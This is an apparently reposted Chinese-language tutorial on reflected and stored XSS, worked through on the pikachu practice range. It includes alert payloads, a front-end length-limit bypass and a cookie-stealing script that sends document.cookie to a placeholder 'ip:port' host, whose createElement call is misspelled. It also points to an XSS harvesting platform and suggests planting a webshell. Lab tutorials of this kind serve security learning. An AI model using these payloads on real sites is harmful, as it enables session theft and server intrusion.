反射型和存儲型XSS


前言

Cross-Site Scripting 簡稱為“CSS”,為避免與前端疊成樣式表的縮寫"CSS"沖突,故又稱XSS
一般分為三種形式:反射型XSS、存儲型XSS、DOM型XSS
一般針對前端,防范上通過輸入過濾(對輸入進行過濾,不允許可能導致XSS攻擊的字符輸入)、輸出轉義(根據輸出點的位置對輸出到前端的內容進行適當轉義)進行處理

危害

惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁面的時候,嵌入其中的Web里面的Script代碼就會被執行,從而達到惡意攻擊用戶的目的。惡意用戶利用XSS代碼攻擊成功后,可以得到一些很高的權限(如執行一些操作),私密網頁內容、會話

反射型XSS

GET型

XSS和SQLi其實沒什么區別,只是XSS是在網站上進行注入,而SQLi是對數據庫進行注入,都是對代碼進行閉合操作

反射型XSS是非持久的,只具有一次性:攻擊者通過郵件等形式將包含XSS代碼的鏈接發送給正常用戶,當用戶點擊時,服務器接受該用戶的請求並進行處理,然后把帶有XSS的代碼發送給用戶,用戶瀏覽器解析執行代碼,觸發XSS漏洞

以pikachu靶場為例

這里如果是輸入kobe,返回正常的數據,輸入其他的返回not care的回復

image

image

這里的XSS由於是GET型,所以直接進行注入即可,在這里的需要用到一部分JavaScript語言

<script>alert('1')</script>

但是在前端會有防御,長度只有20,所以修改前端長度代碼,將完整的注入語句注入

image

得出如下效果,在這里alert就是彈窗的效果,我們輸入1即為彈窗內容

image

當發現XSS注入后,可以利用XSS平台里的代碼,獲取想要的數據,達到攻擊的目的

https://xsshs.cn/xss.php

POST型

POST型和GET型沒什么區別,只是GET型的注入通過URL傳遞,而POST通過表單提交,需要burp進行抓包
直接看這個題目的源碼,第一個登陸界面沒有什么可以注入的地方

image

image

但我們知道輸入后對賬號進行查找,再對密碼進行md5加密,直接查找數據庫里的賬號,並進行md5解密,得出賬號密碼

# 查看數據庫
show databases;
# 選擇pikachu數據庫
use pikachu;
# 查看數據表
show tables;
# 拉取uses表
select * from users;
# 得出賬號和md5加密密碼

image

md5解碼得出密碼是123456,並登陸

image

登陸后是一個和GET型一樣的框框,我們輸入GET型相同的代碼,發現依然可以彈出1,使用burp進行抓包分析

image

我們發現當我們輸入1時,message中出現我們輸入的1,猜測在這里進行提交,修改為js代碼,彈出1

存儲型XSS

存儲型XSS是持久性的,攻擊腳本存儲在目標服務器的數據庫中,具有更強的隱蔽性。攻擊者在論壇,博客,留言板中,發帖的過程中嵌入XSS攻擊代碼,帖子被目標服務器存儲在數據庫中,當用戶正常訪問時,觸發XSS代碼

在pikachu中,我們隨便輸入一些內容,如js代碼,我們可以發現它提交后有顯示刪除的按鈕,但沒有我們的代碼

image

這里我輸入的依然是上述類似的js代碼,只是為了區別,alert的內容不一樣

<script>alert('hello')</script>

我們進行代碼審計,讀取源代碼,找到存儲數據的數據庫的表名

image

在數據庫中讀取message表,找到我們的js代碼

image

顯然,由於輸入和輸出沒有做過濾,每一次用戶提交或者刷新后,都會從數據庫讀取一遍返回到前端,而這個是js代碼,前端的效果就是彈一個窗,不會在下面的留言板里面顯示

image

XSS由於是和前端掛鈎,所以每次攻擊后,可以通過查看頁面源代碼來判斷自己的攻擊是否成功,哪里過濾了,從而進行修改攻擊行為進行繞過過濾

拓展

Cookie是依據HTTP協議,服務器或腳本可以維護客戶工作站上信息的一種方式。Cookie是由Web服務器保存在用戶瀏覽器(客戶端上的)一個小文本,它可以包含有關用戶的信息。

臨時Cookie:只在瀏覽器上保存一段規定的時間,一旦超過規定的時間,該Cookie就會被系統清除。

服務器可以利用Cookies包含信息的任意性來篩選並經常維護這些信息,以判斷在HTTP傳輸中的狀態。

Cookies最典型的應用是判定注冊用戶是否已經登陸過網站,保留用戶信息可以簡化下一次登陸網站。此外購物車,用戶可能在一段時間內同一家網站的不同頁面選擇不同的商品,這些信息都會被寫入Cookies,以便在最后付款時提取信息。

反射型XSS盜取Cookie

存在反射型XSS漏洞的站點位置,可以利用以下鏈接來盜取Cookie

<script> var img=document.createElment("img");
img.src="http://ip:port/a?"+escape(document.cookie); </script>

進入后台尋找上傳點,進一步利用漏洞給上傳一句話Webshell(中國菜刀)。

總結

跨站腳本漏洞測試的流程

  1. 在目標站點上尋找輸入點,搜索框,留言板等
  2. 輸入惡意代碼,查看源碼,看是否又對應的處理
  3. 根據源碼構造閉合
  4. 根據構造的腳本代碼,看是否能成功執行,如果成功執行則說明存在XSS漏洞。

此外:搜索框容易出現反射型XSS留言框容易出現存儲型XSS。當后台存在過濾措施的時候,我們需要變換不同的script,來嘗試繞過后台的限制


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM